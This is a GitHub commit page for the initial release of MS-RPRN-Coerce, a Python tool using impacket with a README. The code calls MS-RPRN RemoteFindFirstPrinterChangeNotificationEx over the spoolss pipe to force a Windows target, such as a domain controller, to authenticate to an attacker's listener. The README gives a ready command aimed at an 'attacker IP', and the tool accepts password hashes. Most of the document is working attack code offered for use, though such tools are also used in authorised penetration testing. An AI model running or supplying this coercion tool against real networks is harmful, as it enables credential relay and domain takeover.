Skip to content

Commit fdfbfab

Browse files
committed
Public release
0 parents  commit fdfbfab

7 files changed

+360
-0
lines changed

.github/FUNDING.yml

+4
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,4 @@
1+
# These are supported funding model platforms
2+
3+
github: p0dalirius
4+
patreon: Podalirius

.github/banner.png

87.2 KB
Loading

.github/demo.mp4

1.05 MB
Binary file not shown.

.github/example.png

217 KB
Loading

MS-RPRN-Coerce.py

+276
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,276 @@
1+
#!/usr/bin/env python3
2+
# -*- coding: utf-8 -*-
3+
# File name : MS-RPRN-Coerce.py
4+
# Author : Podalirius (@podalirius_)
5+
# Date created : 24 Feb 2022
6+
7+
8+
import argparse
9+
import binascii
10+
import sys
11+
from impacket.structure import Structure
12+
from impacket.dcerpc.v5 import transport
13+
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_WINNT, RPC_C_AUTHN_LEVEL_PKT_PRIVACY
14+
from impacket.uuid import uuidtup_to_bin
15+
16+
17+
# printer and listener struct
18+
class type1(Structure):
19+
alignment = 4
20+
structure = (
21+
('id', '<L'), # printer name referent ID
22+
('max', '<L'),
23+
('offset', '<L=0'),
24+
('actual', '<L'),
25+
('str', '%s'),
26+
)
27+
28+
29+
# client and user struct
30+
class type2(Structure):
31+
alignment = 4
32+
structure = (
33+
('max', '<L'),
34+
('offset', '<L=0'),
35+
('actual', '<L'),
36+
('str', '%s'),
37+
)
38+
39+
40+
# create RpcOpenPrinterEx struct
41+
class OpenPrinterEx(Structure):
42+
alignment = 4
43+
opnum = 69
44+
structure = (
45+
('printer', ':', type1),
46+
('null', '<L=0'),
47+
('str', '<L=0'),
48+
('null2', '<L=0'),
49+
('access', '<L=0x00020002'),
50+
('level', '<L=1'),
51+
('id1', '<L=1'),
52+
('level2', '<L=131076'), # user level 1 infolevel
53+
('size', '<L=28'),
54+
('id2', '<L=0x00020008'), # client referent id
55+
('id3', '<L=0x0002000c'), # user referent id
56+
('build', '<L=8000'),
57+
('major', '<L=0'),
58+
('minor', '<L=0'),
59+
('processor', '<L=0'),
60+
('client', ':', type2),
61+
('user', ':', type2),
62+
)
63+
64+
65+
# partialy create RemoteFindFirstPrinterChangeNotificationEx struct
66+
class RemoteFindFirstPrinterChangeNotificationEx(Structure):
67+
alignment = 4
68+
opnum = 65
69+
structure = (
70+
('flags', '<L=0'),
71+
('options', '<L=0'),
72+
('server', ':', type1),
73+
('local', '<L=123'), # Printer local
74+
)
75+
76+
77+
##===========================================================================================================
78+
79+
80+
def connect(username, password, domain, lmhash, nthash, target, doKerberos, dcHost, targetIp, verbose=False):
81+
MSRPC_UUID_SPOOLSS = ('12345678-1234-ABCD-EF00-0123456789AB', '1.0')
82+
stringBinding = r'ncacn_np:%s[\pipe\spoolss]' % target
83+
84+
rpctransport = transport.DCERPCTransportFactory(stringBinding)
85+
if hasattr(rpctransport, 'set_credentials'):
86+
rpctransport.set_credentials(username=username, password=password, domain=domain, lmhash=lmhash, nthash=nthash)
87+
88+
if doKerberos:
89+
rpctransport.set_kerberos(doKerberos, kdcHost=dcHost)
90+
if targetIp:
91+
rpctransport.setRemoteHost(targetIp)
92+
93+
dce = rpctransport.get_dce_rpc()
94+
dce.set_auth_type(RPC_C_AUTHN_WINNT)
95+
dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY)
96+
print("[>] Connecting to %s ..." % stringBinding)
97+
try:
98+
dce.connect()
99+
except Exception as e:
100+
if verbose:
101+
raise
102+
else:
103+
print("[!] %s" % str(e))
104+
return None
105+
print("[+] Connected!")
106+
print("[+] Binding to %s" % MSRPC_UUID_SPOOLSS[0])
107+
try:
108+
dce.bind(uuidtup_to_bin(MSRPC_UUID_SPOOLSS))
109+
except Exception as e:
110+
if verbose:
111+
raise
112+
else:
113+
print("[!] %s" % str(e))
114+
return None
115+
print("[+] Successfully bound!")
116+
return dce
117+
118+
119+
def build_RpcOpenPrinterEx_struct(username, client, target):
120+
query = OpenPrinterEx()
121+
printer = "\\\\%s\x00" % target # blank printer
122+
#
123+
query['printer'] = type1()
124+
query['printer']['id'] = 0x00020000 # referent ID for printer
125+
query['printer']['max'] = len(printer) # printer max size
126+
query['printer']['actual'] = len(printer) # printer actual size
127+
query['printer']['str'] = printer.encode('utf_16_le')
128+
#
129+
query['client'] = type2()
130+
query['client']['max'] = len(client)
131+
query['client']['actual'] = len(client)
132+
query['client']['str'] = client.encode('utf_16_le')
133+
#
134+
query['user'] = type2()
135+
query['user']['max'] = len(username)
136+
query['user']['actual'] = len(username)
137+
query['user']['str'] = username.encode('utf_16_le')
138+
return query
139+
140+
141+
# partially build RpcRemoteFindFirstPrinterChangeNotificationEx() struct
142+
def build_RpcRemoteFindFirstPrinterChangeNotificationEx_struct(listener):
143+
query = RemoteFindFirstPrinterChangeNotificationEx()
144+
server = '\\\\%s\x00' % listener # server
145+
query['server'] = type1()
146+
query['server']['id'] = 0x41414141 # referent ID for server
147+
query['server']['max'] = len(server) # server name max size
148+
query['server']['actual'] = len(server) # server name actual size
149+
query['server']['str'] = server.encode('utf_16_le')
150+
return query
151+
152+
153+
def parseArgs():
154+
print("MS-RPRN-Coerce v1.1 - by @podalirius_\n")
155+
156+
parser = argparse.ArgumentParser(description="Force authentification using MS-RPRN RemoteFindFirstPrinterChangeNotificationEx function (opnum 69).")
157+
parser.add_argument("-v", "--verbose", default=False, action="store_true", help='Verbose mode. (default: False)')
158+
159+
authconn = parser.add_argument_group('authentication & connection')
160+
authconn.add_argument('--dc-ip', required=False, default=None, action='store', metavar="ip address", help='IP Address of the domain controller or KDC (Key Distribution Center) for Kerberos. If omitted it will use the domain part (FQDN) specified in the identity parameter')
161+
authconn.add_argument("-d", "--domain", required=False, default='', dest="auth_domain", metavar="DOMAIN", action="store", help="(FQDN) domain to authenticate to")
162+
authconn.add_argument("-u", "--user", required=False, default='', dest="auth_username", metavar="USER", action="store", help="user to authenticate with")
163+
authconn.add_argument('--target-ip', dest="target_ip", action='store', metavar="ip address", help='IP Address of the target machine. If omitted it will use whatever was specified as target. This is useful when target is the NetBIOS name or Kerberos name and you cannot resolve it')
164+
165+
secret = parser.add_argument_group()
166+
cred = secret.add_mutually_exclusive_group()
167+
cred.add_argument("--no-pass", action="store_true", help="Don't ask for password (useful for -k)")
168+
cred.add_argument("-p", "--password", dest="auth_password", metavar="PASSWORD", action="store", help="Password to authenticate with")
169+
cred.add_argument("-H", "--hashes", dest="auth_hashes", action="store", metavar="[LMHASH:]NTHASH", help='NT/LM hashes, format is LMhash:NThash')
170+
cred.add_argument("--aes-key", dest="auth_key", action="store", metavar="hex key", help='AES key to use for Kerberos Authentication (128 or 256 bits)')
171+
secret.add_argument("-k", "--kerberos", dest="use_kerberos", action="store_true", help='Use Kerberos authentication. Grabs credentials from .ccache file (KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use the ones specified in the command line')
172+
173+
parser.add_argument("listener", help='IP address or hostname of listener.')
174+
parser.add_argument("target", help='IP address or hostname of target.')
175+
176+
if len(sys.argv) == 1:
177+
parser.print_help()
178+
sys.exit(1)
179+
180+
return parser.parse_args()
181+
182+
183+
def patch_impacket_structure_py3(struct):
184+
if sys.version_info.major == 3:
185+
# Live patch because impacket's structure.py is hell in Python3
186+
for fn, fv in vars(struct)['fields'].items():
187+
struct.fields[fn]['str'] = struct.fields[fn]['str'].decode('utf-8')
188+
return struct
189+
else:
190+
# Python 2 compatibility
191+
return struct
192+
193+
194+
if __name__ == '__main__':
195+
options = parseArgs()
196+
197+
auth_lm_hash = ""
198+
auth_nt_hash = ""
199+
if options.auth_hashes is not None:
200+
if ":" in options.auth_hashes:
201+
auth_lm_hash = options.auth_hashes.split(":")[0]
202+
auth_nt_hash = options.auth_hashes.split(":")[1]
203+
else:
204+
auth_nt_hash = options.auth_hashes
205+
206+
dce_conn = connect(
207+
options.auth_username,
208+
options.auth_password,
209+
options.auth_domain,
210+
auth_lm_hash,
211+
auth_nt_hash,
212+
options.target,
213+
options.use_kerberos,
214+
options.dc_ip,
215+
options.target_ip,
216+
verbose=options.verbose
217+
)
218+
219+
if dce_conn is not None:
220+
print("[*] Getting context handle ...")
221+
context_handle = build_RpcOpenPrinterEx_struct(
222+
username=options.auth_domain + "\\" + options.auth_username + "\x00",
223+
client=options.listener + "\x00",
224+
target=options.target + "\x00"
225+
)
226+
handle = None
227+
try:
228+
context_handle = patch_impacket_structure_py3(context_handle)
229+
if options.verbose:
230+
print("[debug] DCERPC call opnum=%d, handle=%s" % (context_handle.opnum, binascii.hexlify(context_handle.getData()).decode('utf-8')))
231+
dce_conn.call(context_handle.opnum, context_handle)
232+
233+
raw = dce_conn.recv()
234+
if options.verbose:
235+
print("[debug] Raw response: %s" % binascii.hexlify(raw).decode('utf-8'))
236+
handle = raw[:20]
237+
if options.verbose:
238+
print("[debug] Handle is: %s" % binascii.hexlify(handle).decode('utf-8'))
239+
except Exception as e:
240+
if options.verbose:
241+
raise
242+
else:
243+
print("[!] %s" % str(e))
244+
dce_conn.disconnect()
245+
sys.exit()
246+
if handle is not None:
247+
print("[*] Calling RpcRemoteFindFirstPrinterChangeNotificationEx ...")
248+
options_container = (
249+
b'\x04\x00\x02\x00' # referent id
250+
b'\x02\x00\x00\x00' # version
251+
b'\xce\x55\x00\x00' # flags
252+
b'\x02\x00\x00\x00' # count
253+
# notify options blob to unpack another day
254+
b'\x08\x00\x02\x00\x02\x00\x00\x00\x00\x00\xce\x55\x00\x00'
255+
b'\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x0c\x00\x02\x00'
256+
b'\x01\x00\x00\x00\xe0\x11\xbd\x8f\xce\x55\x00\x00\x01\x00'
257+
b'\x00\x00\x10\x00\x02\x00\x01\x00\x00\x00\x00\x00\x00\x00'
258+
b'\x01\x00\x00\x00\x00\x00'
259+
)
260+
# call function to get method core
261+
query = build_RpcRemoteFindFirstPrinterChangeNotificationEx_struct(options.listener)
262+
query = patch_impacket_structure_py3(query)
263+
full_query = handle + query.getData() + options_container
264+
try:
265+
dce_conn.call(query.opnum, full_query)
266+
raw = dce_conn.recv()
267+
if options.verbose:
268+
print("[debug] Raw response: %s" % binascii.hexlify(raw).decode('utf-8'))
269+
except Exception as e:
270+
if options.verbose:
271+
raise
272+
else:
273+
print("[!] %s" % str(e))
274+
dce_conn.disconnect()
275+
print("[+] Done!")
276+
dce_conn.disconnect()

README.md

+79
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,79 @@
1+
# MSRPRN-Coerce
2+
3+
<p align="center">
4+
A python script to force authentification using MS-RPRN RemoteFindFirstPrinterChangeNotificationEx function (opnum 69).
5+
<br>
6+
<img src="https://visitor-badge.glitch.me/badge?page_id=https://github.com/p0dalirius/MSRPRN-Coerce/README.md"/>
7+
<img alt="GitHub release (latest by date)" src="https://img.shields.io/github/v/release/p0dalirius/MSRPRN-Coerce">
8+
<a href="https://twitter.com/intent/follow?screen_name=podalirius_" title="Follow"><img src="https://img.shields.io/twitter/follow/podalirius_?label=Podalirius&style=social"></a>
9+
<br>
10+
</p>
11+
12+
![](./.github/banner.png)
13+
14+
## Features
15+
16+
**Requires**: A valid username and password on the domain.
17+
18+
- [x] Force authentification using MS-RPRN `RemoteFindFirstPrinterChangeNotificationEx` function (opnum 69).
19+
- [x] 🐍 Python 3 and Python 2 compatibility.
20+
- [x] Targets either a single IP or a range of IPs.
21+
22+
## Usage
23+
24+
```
25+
$ ./MS-RPRN-Coerce.py -h
26+
MS-RPRN-Coerce v1.1 - by @podalirius_
27+
28+
usage: e.py [-h] [-v] [--dc-ip ip address] [-d DOMAIN] [-u USER] [--target-ip ip address] [--no-pass | -p PASSWORD | -H [LMHASH:]NTHASH | --aes-key hex key] [-k]
29+
listener target
30+
31+
Force authentification using MS-RPRN RemoteFindFirstPrinterChangeNotificationEx function (opnum 69).
32+
33+
positional arguments:
34+
listener IP address or hostname of listener.
35+
target IP address or hostname of target.
36+
37+
optional arguments:
38+
-h, --help show this help message and exit
39+
-v, --verbose Verbose mode. (default: False)
40+
41+
authentication & connection:
42+
--dc-ip ip address IP Address of the domain controller or KDC (Key Distribution Center) for Kerberos. If omitted it will use the domain part (FQDN) specified in the
43+
identity parameter
44+
-d DOMAIN, --domain DOMAIN
45+
(FQDN) domain to authenticate to
46+
-u USER, --user USER user to authenticate with
47+
--target-ip ip address
48+
IP Address of the target machine. If omitted it will use whatever was specified as target. This is useful when target is the NetBIOS name or
49+
Kerberos name and you cannot resolve it
50+
51+
--no-pass Don't ask for password (useful for -k)
52+
-p PASSWORD, --password PASSWORD
53+
Password to authenticate with
54+
-H [LMHASH:]NTHASH, --hashes [LMHASH:]NTHASH
55+
NT/LM hashes, format is LMhash:NThash
56+
--aes-key hex key AES key to use for Kerberos Authentication (128 or 256 bits)
57+
-k, --kerberos Use Kerberos authentication. Grabs credentials from .ccache file (KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it
58+
will use the ones specified in the command line
59+
```
60+
61+
## Example
62+
63+
To force `DC01.LAB.local` to authenticate over SMB to your attacker IP `192.168.2.51`:
64+
65+
```
66+
./MS-RPRN-Coerce.py 192.168.2.51 DC01.LAB.local -u user1 -p 'Lab123!'
67+
```
68+
69+
## Technical detail
70+
71+
This attack performs an RPC call of the `RpcRemoteFindFirstPrinterChangeNotificationEx` function (opnum 69) in the SMB named pipe `\pipe\spoolss` through the `IPC$` share to force authentication from a target machine to another.
72+
73+
## Demo
74+
75+
76+
77+
## Contributing
78+
79+
Pull requests are welcome. Feel free to open an issue if you want to add other features.

requirements.txt

+1
Original file line numberDiff line numberDiff line change
@@ -0,0 +1 @@
1+
impacket

0 commit comments

Comments
 (0)